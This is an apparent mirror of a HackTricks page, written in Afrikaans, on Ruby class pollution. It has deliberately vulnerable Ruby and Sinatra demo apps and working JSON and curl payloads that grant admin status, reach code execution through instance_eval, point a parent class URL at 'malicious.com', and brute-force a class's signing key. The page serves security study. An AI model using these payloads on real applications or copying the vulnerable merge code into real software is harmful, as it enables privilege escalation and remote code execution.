mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
408 lines
11 KiB
Markdown
408 lines
11 KiB
Markdown
# Ruby Class Pollution
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Dit is 'n opsomming van die pos [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
|
|
|
## Merge on Attributes
|
|
|
|
Voorbeeld:
|
|
```ruby
|
|
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
|
|
# Comments added to exploit the merge on attributes
|
|
require 'json'
|
|
|
|
|
|
# Base class for both Admin and Regular users
|
|
class Person
|
|
|
|
attr_accessor :name, :age, :details
|
|
|
|
def initialize(name:, age:, details:)
|
|
@name = name
|
|
@age = age
|
|
@details = details
|
|
end
|
|
|
|
# Method to merge additional data into the object
|
|
def merge_with(additional)
|
|
recursive_merge(self, additional)
|
|
end
|
|
|
|
# Authorize based on the `to_s` method result
|
|
def authorize
|
|
if to_s == "Admin"
|
|
puts "Access granted: #{@name} is an admin."
|
|
else
|
|
puts "Access denied: #{@name} is not an admin."
|
|
end
|
|
end
|
|
|
|
# Health check that executes all protected methods using `instance_eval`
|
|
def health_check
|
|
protected_methods().each do |method|
|
|
instance_eval(method.to_s)
|
|
end
|
|
end
|
|
|
|
private
|
|
|
|
# VULNERABLE FUNCTION that can be abused to merge attributes
|
|
def recursive_merge(original, additional, current_obj = original)
|
|
additional.each do |key, value|
|
|
|
|
if value.is_a?(Hash)
|
|
if current_obj.respond_to?(key)
|
|
next_obj = current_obj.public_send(key)
|
|
recursive_merge(original, value, next_obj)
|
|
else
|
|
new_object = Object.new
|
|
current_obj.instance_variable_set("@#{key}", new_object)
|
|
current_obj.singleton_class.attr_accessor key
|
|
end
|
|
else
|
|
current_obj.instance_variable_set("@#{key}", value)
|
|
current_obj.singleton_class.attr_accessor key
|
|
end
|
|
end
|
|
original
|
|
end
|
|
|
|
protected
|
|
|
|
def check_cpu
|
|
puts "CPU check passed."
|
|
end
|
|
|
|
def check_memory
|
|
puts "Memory check passed."
|
|
end
|
|
end
|
|
|
|
# Admin class inherits from Person
|
|
class Admin < Person
|
|
def initialize(name:, age:, details:)
|
|
super(name: name, age: age, details: details)
|
|
end
|
|
|
|
def to_s
|
|
"Admin"
|
|
end
|
|
end
|
|
|
|
# Regular user class inherits from Person
|
|
class User < Person
|
|
def initialize(name:, age:, details:)
|
|
super(name: name, age: age, details: details)
|
|
end
|
|
|
|
def to_s
|
|
"User"
|
|
end
|
|
end
|
|
|
|
class JSONMergerApp
|
|
def self.run(json_input)
|
|
additional_object = JSON.parse(json_input)
|
|
|
|
# Instantiate a regular user
|
|
user = User.new(
|
|
name: "John Doe",
|
|
age: 30,
|
|
details: {
|
|
"occupation" => "Engineer",
|
|
"location" => {
|
|
"city" => "Madrid",
|
|
"country" => "Spain"
|
|
}
|
|
}
|
|
)
|
|
|
|
|
|
# Perform a recursive merge, which could override methods
|
|
user.merge_with(additional_object)
|
|
|
|
# Authorize the user (privilege escalation vulnerability)
|
|
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
|
user.authorize
|
|
|
|
# Execute health check (RCE vulnerability)
|
|
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
|
user.health_check
|
|
|
|
end
|
|
end
|
|
|
|
if ARGV.length != 1
|
|
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
|
|
exit
|
|
end
|
|
|
|
json_input = ARGV[0]
|
|
JSONMergerApp.run(json_input)
|
|
```
|
|
### Verduideliking
|
|
|
|
1. **Privilegie Eskalasie**: Die `authorize` metode kontroleer of `to_s` "Admin" teruggee. Deur 'n nuwe `to_s` attribuut deur JSON in te voeg, kan 'n aanvaller die `to_s` metode laat teruggee "Admin," wat ongeoorloofde voorregte toeken.
|
|
2. **Afgeleë Kode Uitvoering**: In `health_check`, voer `instance_eval` metodes uit wat in `protected_methods` gelys is. As 'n aanvaller pasgemaakte metodename (soos `"puts 1"`) invoeg, sal `instance_eval` dit uitvoer, wat lei tot **afgeleë kode uitvoering (RCE)**.
|
|
1. Dit is slegs moontlik omdat daar 'n **kwetsbare `eval` instruksie** is wat die stringwaarde van daardie attribuut uitvoer.
|
|
3. **Impaksbeperking**: Hierdie kwesbaarheid raak slegs individuele instansies, wat ander instansies van `User` en `Admin` onaangeraak laat, en beperk dus die omvang van die uitbuiting.
|
|
|
|
### Werklike Gevalle <a href="#real-world-cases" id="real-world-cases"></a>
|
|
|
|
### ActiveSupport se `deep_merge`
|
|
|
|
Dit is nie standaard kwesbaar nie, maar kan kwesbaar gemaak word met iets soos:
|
|
```ruby
|
|
# Method to merge additional data into the object using ActiveSupport deep_merge
|
|
def merge_with(other_object)
|
|
merged_hash = to_h.deep_merge(other_object)
|
|
|
|
merged_hash.each do |key, value|
|
|
self.class.attr_accessor key
|
|
instance_variable_set("@#{key}", value)
|
|
end
|
|
|
|
self
|
|
end
|
|
```
|
|
### Hashie se `deep_merge`
|
|
|
|
Hashie se `deep_merge` metode werk direk op objekattributen eerder as op gewone hashes. Dit **voorkom die vervanging van metodes** met attributen in 'n samesmelting met sommige **uitsonderings**: attributen wat eindig op `_`, `!`, of `?` kan steeds in die objek gesmelt word.
|
|
|
|
'n Spesiale geval is die attribuut **`_`** op sy eie. Net `_` is 'n attribuut wat gewoonlik 'n `Mash` objek teruggee. En omdat dit deel is van die **uitsonderings**, is dit moontlik om dit te verander.
|
|
|
|
Kyk na die volgende voorbeeld hoe om `{"_": "Admin"}` deur te gee, kan mens `_.to_s == "Admin"` omseil:
|
|
```ruby
|
|
require 'json'
|
|
require 'hashie'
|
|
|
|
# Base class for both Admin and Regular users
|
|
class Person < Hashie::Mash
|
|
|
|
# Method to merge additional data into the object using hashie
|
|
def merge_with(other_object)
|
|
deep_merge!(other_object)
|
|
self
|
|
end
|
|
|
|
# Authorize based on to_s
|
|
def authorize
|
|
if _.to_s == "Admin"
|
|
puts "Access granted: #{@name} is an admin."
|
|
else
|
|
puts "Access denied: #{@name} is not an admin."
|
|
end
|
|
end
|
|
|
|
end
|
|
|
|
# Admin class inherits from Person
|
|
class Admin < Person
|
|
def to_s
|
|
"Admin"
|
|
end
|
|
end
|
|
|
|
# Regular user class inherits from Person
|
|
class User < Person
|
|
def to_s
|
|
"User"
|
|
end
|
|
end
|
|
|
|
class JSONMergerApp
|
|
def self.run(json_input)
|
|
additional_object = JSON.parse(json_input)
|
|
|
|
# Instantiate a regular user
|
|
user = User.new({
|
|
name: "John Doe",
|
|
age: 30,
|
|
details: {
|
|
"occupation" => "Engineer",
|
|
"location" => {
|
|
"city" => "Madrid",
|
|
"country" => "Spain"
|
|
}
|
|
}
|
|
})
|
|
|
|
# Perform a deep merge, which could override methods
|
|
user.merge_with(additional_object)
|
|
|
|
# Authorize the user (privilege escalation vulnerability)
|
|
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
|
|
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
|
user.authorize
|
|
end
|
|
end
|
|
|
|
if ARGV.length != 1
|
|
puts "Usage: ruby hashie.rb 'JSON_STRING'"
|
|
exit
|
|
end
|
|
|
|
json_input = ARGV[0]
|
|
JSONMergerApp.run(json_input)
|
|
```
|
|
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
|
|
|
In die volgende voorbeeld is dit moontlik om die klas **`Person`** te vind, en die klasse **`Admin`** en **`Regular`** wat van die **`Person`** klas erf. Dit het ook 'n ander klas genaamd **`KeySigner`**:
|
|
```ruby
|
|
require 'json'
|
|
require 'sinatra/base'
|
|
require 'net/http'
|
|
|
|
# Base class for both Admin and Regular users
|
|
class Person
|
|
@@url = "http://default-url.com"
|
|
|
|
attr_accessor :name, :age, :details
|
|
|
|
def initialize(name:, age:, details:)
|
|
@name = name
|
|
@age = age
|
|
@details = details
|
|
end
|
|
|
|
def self.url
|
|
@@url
|
|
end
|
|
|
|
# Method to merge additional data into the object
|
|
def merge_with(additional)
|
|
recursive_merge(self, additional)
|
|
end
|
|
|
|
private
|
|
|
|
# Recursive merge to modify instance variables
|
|
def recursive_merge(original, additional, current_obj = original)
|
|
additional.each do |key, value|
|
|
if value.is_a?(Hash)
|
|
if current_obj.respond_to?(key)
|
|
next_obj = current_obj.public_send(key)
|
|
recursive_merge(original, value, next_obj)
|
|
else
|
|
new_object = Object.new
|
|
current_obj.instance_variable_set("@#{key}", new_object)
|
|
current_obj.singleton_class.attr_accessor key
|
|
end
|
|
else
|
|
current_obj.instance_variable_set("@#{key}", value)
|
|
current_obj.singleton_class.attr_accessor key
|
|
end
|
|
end
|
|
original
|
|
end
|
|
end
|
|
|
|
class User < Person
|
|
def initialize(name:, age:, details:)
|
|
super(name: name, age: age, details: details)
|
|
end
|
|
end
|
|
|
|
# A class created to simulate signing with a key, to be infected with the third gadget
|
|
class KeySigner
|
|
@@signing_key = "default-signing-key"
|
|
|
|
def self.signing_key
|
|
@@signing_key
|
|
end
|
|
|
|
def sign(signing_key, data)
|
|
"#{data}-signed-with-#{signing_key}"
|
|
end
|
|
end
|
|
|
|
class JSONMergerApp < Sinatra::Base
|
|
# POST /merge - Infects class variables using JSON input
|
|
post '/merge' do
|
|
content_type :json
|
|
json_input = JSON.parse(request.body.read)
|
|
|
|
user = User.new(
|
|
name: "John Doe",
|
|
age: 30,
|
|
details: {
|
|
"occupation" => "Engineer",
|
|
"location" => {
|
|
"city" => "Madrid",
|
|
"country" => "Spain"
|
|
}
|
|
}
|
|
)
|
|
|
|
user.merge_with(json_input)
|
|
|
|
{ status: 'merged' }.to_json
|
|
end
|
|
|
|
# GET /launch-curl-command - Activates the first gadget
|
|
get '/launch-curl-command' do
|
|
content_type :json
|
|
|
|
# This gadget makes an HTTP request to the URL stored in the User class
|
|
if Person.respond_to?(:url)
|
|
url = Person.url
|
|
response = Net::HTTP.get_response(URI(url))
|
|
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
|
|
else
|
|
{ status: 'Failed to access URL variable' }.to_json
|
|
end
|
|
end
|
|
|
|
# Curl command to infect User class URL:
|
|
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
|
|
|
|
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
|
|
get '/sign_with_subclass_key' do
|
|
content_type :json
|
|
|
|
# This gadget signs data using the signing key stored in KeySigner class
|
|
signer = KeySigner.new
|
|
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
|
|
|
|
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
|
|
end
|
|
|
|
# Curl command to infect KeySigner signing key (run in a loop until successful):
|
|
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
|
|
|
|
# GET /check-infected-vars - Check if all variables have been infected
|
|
get '/check-infected-vars' do
|
|
content_type :json
|
|
|
|
{
|
|
user_url: Person.url,
|
|
signing_key: KeySigner.signing_key
|
|
}.to_json
|
|
end
|
|
|
|
run! if app_file == $0
|
|
end
|
|
```
|
|
### Poison Parent Class
|
|
|
|
Met hierdie payload:
|
|
```bash
|
|
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
|
```
|
|
Dit is moontlik om die waarde van die **`@@url`** attribuut van die ouer klas **`Person`** te wysig.
|
|
|
|
### **Besoedeling van Ander Klasse**
|
|
|
|
Met hierdie payload:
|
|
```bash
|
|
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
|
```
|
|
Dit is moontlik om die gedefinieerde klasse te brute-force en op 'n sekere punt die klas **`KeySigner`** te vergiftig deur die waarde van `signing_key` te verander na `injected-signing-key`.\
|
|
|
|
## Verwysings
|
|
|
|
- [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|